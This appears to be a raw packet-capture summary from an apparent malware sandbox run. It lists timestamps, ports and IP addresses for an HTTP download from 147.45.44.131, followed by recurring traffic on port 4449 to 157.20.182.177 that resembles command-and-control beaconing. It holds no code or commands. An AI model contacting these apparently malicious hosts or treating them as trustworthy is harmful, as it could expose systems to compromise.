Jan 1, 2025 08:53:03.058012962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058029890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058041096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058052063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058052063 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.058052063 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.058073044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.058098078 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.058149099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058161020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058166981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058177948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058188915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058199883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058202028 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.058221102 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.058239937 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.058348894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058938980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058957100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058968067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058981895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.059005022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.059045076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059056997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059067011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059101105 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.059209108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059221983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059232950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059245110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059252024 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.059256077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059278965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.059289932 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.059357882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059442997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059453964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059468031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059477091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.059494972 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.059525967 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060023069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060034037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060045004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060072899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060087919 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060188055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060200930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060211897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060239077 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060312033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060322046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060350895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060399055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060410023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060421944 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060437918 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060455084 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060484886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060496092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060534954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060611010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060630083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060641050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060652971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060663939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060669899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060677052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060693979 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060719013 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060873032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060884953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060894966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060905933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060923100 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060940027 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.060962915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.060986996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061031103 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061095953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061108112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061117887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061127901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061142921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061163902 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061239958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061252117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061299086 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061311007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061321974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061331034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061362982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061487913 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061499119 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061508894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061522007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061527014 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061534882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061547041 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061588049 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061741114 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061753035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061763048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061774969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061784983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061791897 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061794996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061806917 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061808109 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061821938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061831951 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061836004 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061845064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061860085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.061872959 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.061887026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.067102909 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.675398111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:07.176387072 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:07.181435108 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:07.181509972 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:07.199410915 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:07.204272032 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:07.787830114 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:07.794842005 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:07.800288916 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:07.969044924 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:08.117165089 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:09.656395912 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:09.661210060 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:09.661269903 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:09.666124105 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:23.703932047 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:23.710767984 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:23.710844994 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:23.715572119 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:24.086322069 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:24.132838964 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:24.208316088 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:24.255750895 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:24.260602951 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:24.260648966 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:24.265450954 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:37.711569071 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:37.716473103 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:37.718897104 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:37.723777056 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:38.006479979 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:38.054734945 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:38.131304026 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:38.133392096 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:38.138252974 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:38.138907909 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:38.143734932 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:40.499906063 CET	61732	53	192.168.2.6	162.159.36.2
Jan 1, 2025 08:53:40.504769087 CET	53	61732	162.159.36.2	192.168.2.6
Jan 1, 2025 08:53:40.504853010 CET	61732	53	192.168.2.6	162.159.36.2
Jan 1, 2025 08:53:40.509633064 CET	53	61732	162.159.36.2	192.168.2.6
Jan 1, 2025 08:53:40.959417105 CET	61732	53	192.168.2.6	162.159.36.2
Jan 1, 2025 08:53:40.964325905 CET	53	61732	162.159.36.2	192.168.2.6
Jan 1, 2025 08:53:40.964380026 CET	61732	53	192.168.2.6	162.159.36.2
Jan 1, 2025 08:53:51.758219957 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:51.763284922 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:51.763370991 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:51.768170118 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:52.052297115 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:52.101635933 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:52.184513092 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:52.185853958 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:52.190622091 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:53:52.190684080 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:53:52.195509911 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:05.789997101 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:05.794835091 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:05.794948101 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:05.799761057 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:06.083708048 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:06.133012056 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:06.216519117 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:06.218645096 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:06.223426104 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:06.223490953 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:06.228274107 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:14.008517027 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:14.015194893 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:14.015245914 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:14.021522045 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:14.304389000 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:14.351679087 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:14.443535089 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:14.445317984 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:14.450233936 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:14.450289011 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:14.455075026 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:25.490832090 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:25.495680094 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:25.495832920 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:25.500679016 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:25.785953045 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:25.836167097 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:25.920366049 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:25.934758902 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:25.939640045 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:25.939687014 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:25.944468021 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:39.529031038 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:39.533899069 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:39.534020901 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:39.538805962 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:39.840166092 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:39.882980108 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:39.972522020 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:39.974781036 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:39.979549885 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:39.979595900 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:39.984409094 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:53.559053898 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:53.563906908 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:53.564093113 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:53.568839073 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:53.864464045 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:53.914283037 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:53.996428967 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:53.998577118 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:54.003432035 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:54:54.003484964 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:54:54.008333921 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:07.589126110 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:07.593969107 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:07.597189903 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:07.601972103 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:07.893443108 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:07.945538998 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:08.024367094 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:08.026132107 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:08.030962944 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:08.031021118 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:08.035773039 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:09.320972919 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:09.326014042 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:09.327184916 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:09.332046986 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:09.619034052 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:09.664463043 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:09.748428106 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:09.750199080 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:09.755085945 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:09.755152941 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:09.759944916 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:15.571099997 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:15.575978994 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:15.579155922 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:15.583923101 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:15.872051954 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:15.914392948 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:16.004487991 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:16.006381989 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:16.011502981 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:16.011562109 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:16.016346931 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:24.493001938 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:24.497973919 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:24.498027086 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:24.502866983 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:24.786045074 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:24.836327076 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:24.920512915 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:24.924340963 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:24.929254055 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:24.931178093 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:24.936007023 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:26.211813927 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:26.216618061 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:26.216686010 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:26.221518040 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:26.504822016 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:26.554970980 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:26.636468887 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:26.638047934 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:26.642966032 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:26.643017054 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:26.647805929 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:40.242832899 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:40.247845888 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:40.247941017 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:40.252753973 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:40.614547968 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:40.744476080 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:40.744757891 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:40.746845961 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:40.751672029 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:40.751826048 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:40.756666899 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:53.571746111 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:53.576752901 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:53.576802015 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:53.581635952 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:53.864361048 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:53.961303949 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:53.996455908 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:53.998673916 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:54.003509998 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:55:54.003635883 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:55:54.008810043 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:07.602241993 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:07.607202053 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:07.607410908 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:07.612242937 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:07.895457029 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:07.945790052 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:08.024549961 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:08.026441097 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:08.031265974 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:08.031390905 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:08.036184072 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:21.633613110 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:21.638613939 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:21.638663054 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:21.643429995 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:21.934086084 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:21.992607117 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:22.060509920 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:22.062472105 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:22.067281008 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:22.067405939 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:22.072216988 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:26.258619070 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:26.263601065 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:26.263859987 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:26.268651009 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:26.576572895 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:26.617630005 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:26.708688974 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:26.712795019 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:26.717686892 CET	4449	49702	157.20.182.177	192.168.2.6
